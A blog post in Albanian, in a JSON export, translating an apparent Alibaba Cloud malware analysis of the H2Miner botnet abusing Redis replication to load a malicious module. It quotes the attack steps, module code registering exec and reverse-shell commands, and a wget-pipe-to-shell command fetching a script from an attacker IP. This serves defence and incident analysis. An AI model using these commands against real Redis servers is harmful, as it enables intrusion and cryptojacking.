{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"A new outbreak of H2Miner worms exploiting Redis RCE has been discovered.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Para nj\u00eb dit\u00eb, nj\u00eb nga server\u00ebt e projektit tim u sulmua nga nj\u00eb virus i till\u00eb. N\u00eb k\u00ebrkim t\u00eb p\u00ebrgjigjes p\u00ebr pyetjen \"\u00e7far\u00eb ishte kjo?\" gjeta nj\u00eb artikull t\u00eb shk\u00eblqyer nga ekipi i Siguris\u00eb s\u00eb Alibaba Cloud. Duke qen\u00eb se nuk e gjeta k\u00ebt\u00eb artikull n\u00eb Habr, vendosa ta p\u00ebrkthej at\u00eb n\u00eb m\u00ebnyr\u00eb t\u00eb ve\u00e7ant\u00eb p\u00ebr ju <3\n<\/p><\/blockquote>\n

Hyrje<\/h2>\n

\nS\u00eb fundmi, ekipi i siguris\u00eb s\u00eb Alibaba Cloud zbuloi nj\u00eb shp\u00ebrthim t\u00eb papritur t\u00eb H2Miner. Ky lloj virusi keqdash\u00ebs p\u00ebrdor munges\u00ebn e autorizimit ose fjal\u00ebkalimet e dob\u00ebta p\u00ebr Redis si porta p\u00ebr sistemet tuaja, e m\u00eb pas sinkronizon modulin e tij t\u00eb keq me slave p\u00ebrmes sinkronizimit master-slave dhe, p\u00ebrfundimisht, ngarkon k\u00ebt\u00eb modul t\u00eb keq n\u00eb makin\u00ebn e sulmuar dhe ekzekuton instrukcionet e keqja.<\/p>\n

N\u00eb t\u00eb kaluar\u00ebn, sulmet ndaj sistemeve tuaja kryesisht ishin realizuar p\u00ebrmes nj\u00eb metode q\u00eb p\u00ebrfshinte detyra t\u00eb planifikuara ose \u00e7el\u00ebsa SSH, t\u00eb cilat shkruheshin n\u00eb makin\u00ebn tuaj pas hyrjes s\u00eb sulmuesit n\u00eb Redis. Fatmir\u00ebsisht, kjo metod\u00eb nuk p\u00ebrdoret shpesh p\u00ebr shkak t\u00eb problemeve me kontrollet e autorizimit ose p\u00ebr shkak t\u00eb versioneve t\u00eb ndryshme t\u00eb sistemit. Megjithat\u00eb, kjo metod\u00eb e ngarkimit t\u00eb modulit t\u00eb keq mund t\u00eb ekzekutoj\u00eb drejtp\u00ebrdrejt komandat e sulmuesit ose t\u00eb fitoj\u00eb akses n\u00eb shell, q\u00eb \u00ebsht\u00eb e rrezikshme p\u00ebr sistemin tuaj.<\/p>\n

P\u00ebr shkak t\u00eb numrit t\u00eb madh server\u00ebsh<\/a> t\u00eb Redis\u00ebve t\u00eb vendosur n\u00eb internet (gati 1 milion), ekipi i siguris\u00eb s\u00eb Alibaba Cloud, si nj\u00eb kujtes\u00eb miq\u00ebsore, rekomandon p\u00ebrdoruesve q\u00eb t\u00eb mos ofrojn\u00eb akses n\u00eb Redis nga rrjeti dhe t\u00eb kontrollojn\u00eb rregullisht besueshm\u00ebrin\u00eb e fjal\u00ebkalimeve t\u00eb tyre, si dhe, t\u00eb mos jen\u00eb t\u00eb ekspozuar ndaj sulmeve t\u00eb shpejta.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00ebsht\u00eb nj\u00eb botnet minimi p\u00ebr sistemet Linux, i cili mund t\u00eb dep\u00ebrtoj\u00eb n\u00eb sistemin tuaj n\u00eb m\u00ebnyra t\u00eb ndryshme, duke p\u00ebrfshir\u00eb munges\u00ebn e autorizimit n\u00eb Hadoop yarn, Docker dhe vulnerabilitetin e ekzekutimit t\u00eb komandave t\u00eb shkaktuara nga Redis (RCE). Botneti funksionon duke ngarkuar skriptet dhe programet e keqja p\u00ebr t\u00eb minuar t\u00eb dh\u00ebnat tuaja, zgjerimin horizontal t\u00eb sulmit dhe mbajtjen e lidhjeve t\u00eb komand\u00ebs dhe kontrollit (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nP\u00ebr k\u00ebt\u00eb \u00e7\u00ebshtje ka ndar\u00eb njohurit\u00eb e tij Pavel Toporkov n\u00eb ZeroNights 2018. Pas versionit 4.0, Redis mb\u00ebshtet funksionin e ngarkimit t\u00eb moduleve t\u00eb jashtme, i cili u jep p\u00ebrdoruesve mund\u00ebsin\u00eb t\u00eb ngarkojn\u00eb skedar\u00eb .so, t\u00eb kompiluar me C n\u00eb Redis p\u00ebr t\u00eb realizuar komanda t\u00eb caktuara t\u00eb Redis. Ky funksion, megjith\u00ebse i dobish\u00ebm, ka nj\u00eb vulnerabilitet, ku n\u00eb modin master-slave skedar\u00ebt mund t\u00eb sinkronizohen me slave p\u00ebrmes modit fullresync. Kjo mund t\u00eb p\u00ebrdoret nga sulmuesi p\u00ebr t\u00eb transferuar skedar\u00eb t\u00eb d\u00ebmsh\u00ebm .so. Pas p\u00ebrfundimit t\u00eb transferimit, ata ngarkojn\u00eb modul mbi instanc\u00ebn e prekur t\u00eb Redis dhe ekzekutojn\u00eb \u00e7do komand\u00eb.<\/p>\n

Analiza e virusit t\u00eb d\u00ebmsh\u00ebm<\/h2>\n

\nKoh\u00ebt e fundit, ekipi i siguris\u00eb n\u00eb Alibaba Cloud zbuloi se numri i grupit t\u00eb minator\u00ebve t\u00eb d\u00ebmsh\u00ebm H2Miner papritur kishte rritur ndjesh\u00ebm. Sipas analiz\u00ebs, procesi i p\u00ebrgjithsh\u00ebm i lindjes s\u00eb sulmit duket si n\u00eb vijim:<\/p>\n

\"A
\n
\nH2Miner p\u00ebrdor RCE Redis p\u00ebr nj\u00eb sulm t\u00eb plot\u00eb. Fillimisht, sulmuesit sulmojn\u00eb server\u00ebt e papenguar t\u00eb Redis ose server\u00ebt me fjal\u00ebkalime t\u00eb dob\u00ebta.<\/p>\n

Pastaj ata p\u00ebrdorin komand\u00ebn config set dbfilename red2.so<\/code> p\u00ebr t\u00eb ndryshuar emrin e skedarit. Pas k\u00ebsaj, sulmuesit ekzekutojn\u00eb komand\u00ebn slaveof<\/code> p\u00ebr t\u00eb vendosur adres\u00ebn e hostit t\u00eb replikimit master-slave. <\/p>\n

Kur instanca e prekur e Redis vendos lidhjen master-slave me Redis-in e d\u00ebmsh\u00ebm, q\u00eb i p\u00ebrket sulmuesit, sulmuesi d\u00ebrgon modulin e infektuar me komand\u00ebn fullresync p\u00ebr t\u00eb sinkronizuar skedar\u00ebt. Pas k\u00ebsaj, skedari red2.so do t\u00eb ngarkohet n\u00eb makin\u00ebn e prekur. Pastaj, sulmuesit p\u00ebrdorin modulimin .\/red2.so p\u00ebr t\u00eb ngarkuar k\u00ebt\u00eb skedar .so. Moduli mund t\u00eb ekzekutoj\u00eb komandat e sulmuesit ose t\u00eb nxis\u00eb nj\u00eb lidhje t\u00eb kthyer (backdoor) p\u00ebr t\u00eb fituar akses n\u00eb makin\u00ebn e prekur.<\/p>\n

if (RedisModule_CreateCommand(ctx, "system.exec",\n        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, "system.rev",\n        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nPas ekzekutimit t\u00eb nj\u00eb komande t\u00eb d\u00ebmshme, t\u00eb till\u00eb si \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, sulmuesi do t\u00eb fshij\u00eb emrin e skedarit t\u00eb kopjimit dhe do t\u00eb b\u00ebj\u00eb shkarkimin e modulit sistemor p\u00ebr t\u00eb pastruar gjurm\u00ebt. Megjithat\u00eb, skedari red2.so do t\u00eb mbetet ende n\u00eb makin\u00ebn e prekur. P\u00ebrdoruesve u rekomandohet t\u00eb ken\u00eb parasysh pranin\u00eb e nj\u00eb skedari t\u00eb dyshimt\u00eb n\u00eb dosjen e instanc\u00ebs s\u00eb tyre t\u00eb Redis.<\/p>\n
P\u00ebrve\u00e7 shkat\u00ebrrimit t\u00eb disa proceseve malware p\u00ebr vjedhjen e burimeve, sulmuesi ndoqi nj\u00eb skenar t\u00eb d\u00ebmsh\u00ebm, duke ngarkuar dhe ekzekutuar skedar\u00eb t\u00eb d\u00ebmsh\u00ebm n\u00eb form\u00eb binare, p\u00ebr t\u00eb 142.44.191.122\/kinsing<\/a><\/noindex>. Kjo do t\u00eb thot\u00eb se emri i procesit ose emri i dosjes q\u00eb p\u00ebrmban kinsing n\u00eb hostin \u00ebsht\u00eb tregues se ky sistem \u00ebsht\u00eb prekur nga ky virus.<\/p>\n
Sipas rezultateve t\u00eb inxhinieris\u00eb reversi, programi malinj kryesisht kryen funksionet e m\u00ebposhtme:<\/p>\n